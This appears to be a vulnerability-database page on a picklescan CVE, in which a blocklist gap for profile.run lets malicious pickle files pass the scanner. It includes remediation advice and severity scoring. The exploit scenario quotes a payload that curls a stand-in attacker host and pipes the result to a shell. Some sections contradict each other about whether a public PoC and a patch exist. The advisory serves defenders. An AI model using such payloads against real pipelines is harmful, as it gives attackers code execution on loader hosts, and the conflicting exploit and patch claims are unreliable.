Skip to main content

picklescan CVE-2026-53873

CRITICAL
Incomplete List of Disallowed Inputs (CWE-184)
2026-06-17 VulnCheck GHSA-7wx9-6375-f5wh
9.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify pipeline using picklescan <1.0.4
  2. Delivery
    Craft pickle invoking profile.run with payload
  3. Exploit
    Upload artifact to registry or model hub
  4. Install
    Scanner returns zero issues
  5. C2
    Victim deserializes via pickle.loads
  6. Execute
    exec() runs attacker Python
  7. Impact
    Full code execution in loader process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
Exploitation Conditions

The target environment must (a) use picklescan at a version below 1.0.4 as a pre-deserialization screening step and (b) subsequently call pickle.loads() (or equivalent) on a file whose contents the attacker controls, such as a third-party model checkpoint or uploaded artifact. No authentication, no user interaction, and no non-default configuration of picklescan itself are required - the vulnerable blocklist is the default. The main practical limiter is that a victim must actually trust picklescan's verdict and proceed to deserialize: pipelines that already refuse all untrusted pickles, or that use a restricted Unpickler allowlist, are not exposed via this bypass.

Impact

The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) and base score of 9.3 reflect that any system deserializing an attacker-supplied pickle that was previously cleared by picklescan can be fully compromised, which is realistic for ML model hubs, CI scanners, and Hugging Face-style download pipelines. There is no EPSS value supplied and the CVE is not listed in CISA KEV, so this should be treated as a high-severity defense-in-depth bypass rather than confirmed active exploitation. A working PoC is published in the GHSA advisory, which raises practical risk for any downstream tool that trusts picklescan's "0 issues" verdict as a gating control; one caveat is that the network-vector rating assumes the pickle reaches the scanner over the network, which is the dominant use case but not universal.

Exploit ScenarioDerived

An attacker uploads a malicious model or data artifact containing a pickle whose payload is profile.run("import os; os.system('curl attacker|sh')") to a repository or registry that uses picklescan <1.0.4 as its pre-deserialization safety gate. The scanner reports zero issues because the global name "run" does not match the blocklist entry "Profile.run", the downstream consumer calls pickle.loads(), and exec() runs the attacker statement in the loader's process. A working PoC is published in the GHSA advisory, lowering the barrier to weaponization.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

Arbitrary code execution bypass in picklescan before 1.0.4 allows attackers to smuggle malicious pickle files past the scanner by invoking the module-level profile.run() function, which is missing from the blocklist that only covers Profile.run and Profile.runctx. The scanner reports zero issues while pickle.loads() triggers exec() of attacker-controlled Python. No public exploit identified at time of analysis beyond the proof-of-concept in the GHSA advisory, and the issue is not listed in CISA KEV.

RemediationAI

Vendor-released patch: upgrade picklescan to 1.0.4 or later, which extends the profile blocklist to also cover the module-level run function (advisory GHSA-7wx9-6375-f5wh). Until the upgrade is rolled out across CI, model-registry scanners, and developer environments, treat scanner output as advisory only and refuse to deserialize untrusted pickle files at all, or wrap loading with a restricted Unpickler.find_class allowlist that rejects the profile module entirely; both controls cost legitimate use of profile-based pickles, which is rare. Where picklescan is embedded as a gate in an ML model ingestion pipeline (for example Hugging Face mirrors or internal registries), pin the resolved dependency to >=1.0.4 and re-scan previously cleared artifacts since prior "clean" verdicts cannot be trusted.

Affected Packages

pypi picklescan fix: 1.0.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

picklescan is a Python package (cpe:2.3:a:picklescan:picklescan) used by ML pipelines and model hubs to statically inspect pickle files for dangerous globals before deserialization. The flaw is a CWE-184 (Incomplete List of Disallowed Inputs) defect in scanner.py: the blocklist for the profile module is the set {"Profile.run", "Profile.runctx"}, and the matcher does an exact string membership check (g.name in unsafe_filter) against the pickle global name. Because a pickle referencing profile.run resolves the global name as "run" (not "Profile.run"), the check fails open. The underlying primitive is Python's profile.run(statement), which internally calls exec(statement), turning any tolerated pickle global into a generic code-execution sink.

Know when Picklescan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Bypass lets attacker-supplied pickle reach pickle.loads via a default-config scanner with no auth or user interaction, yielding full RCE on the loader host (C/I/A:H).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.

Executive ViewAI

Why It Matters

picklescan, a critical security scanner for Python pickle files, contains a code execution bypass that completely nullifies its protective capability; publicly available exploit code exists in the GHSA advisory. Attackers can craft malicious pickle files that pass validation but execute arbitrary code upon deserialization, exposing any organization using picklescan to validate untrusted data to remote code execution attacks.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable picklescan immediately and implement strict deserialization controls-whitelist approved pickle types and sources, enforce human code review before deserializing pickle data; (2) Isolate systems processing pickle files in restricted execution environments; (3) Use alternative serialization formats (JSON, Protocol Buffers) where feasible; (4) Maintain a register of systems affected during the vulnerability window; (5) Monitor picklescan releases and deploy 1.0.4+ once vendor security validation is confirmed.

Threat Intelligence Overview

EPSS Score
0.5%
Top 64% exploitable
Threat Intel
1
1 sources
Social Media
1
Sightings
Data Quality
4 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:picklescan:picklescan:*:*:*:*:*:*:*:*
CVE-2026-3490 CRITICAL POC
10.0 Jun 17

Remote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio

CVE-2025-10156 CRITICAL POC
9.3 Sep 17

An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles

CVE-2025-10157 CRITICAL POC
9.3 Sep 17

A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot

CVE-2025-10155 CRITICAL POC
9.3 Sep 17

An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0

CVE-2025-71341 HIGH POC
7.6 Jun 23

Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle

CVE-2025-71351 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle

CVE-2025-71370 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr

CVE-2025-71348 HIGH POC
7.6 Jun 21

Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing

CVE-2025-71361 HIGH POC
7.6 Jun 24

Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i

CVE-2025-71378 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using

CVE-2025-71376 HIGH POC
7.6 Jun 23

Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th

CVE-2025-71365 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy